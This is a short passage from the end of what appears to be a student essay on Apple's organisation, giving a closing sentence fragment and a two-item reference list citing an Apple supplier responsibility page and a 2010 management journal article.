perspective, it did make an conscious effort to explore and improve Apple’s organisation as a whole. Reference List Apple 2012, ‘Supplier Responsibility’, USA, viewed 4 September 2012, http://www.apple.com/supplierresponsibility/code-of-conduct/environmental-impact.html. Boisot, M and Mckelvey, B 2010, ‘Intergrating Modernist and Postmodernist Perspectives on Organizations: A Complexity Science Bridge’, Academy of Management Review, Business Source Complete, EBSCOhost, viewed 7 September 2012. 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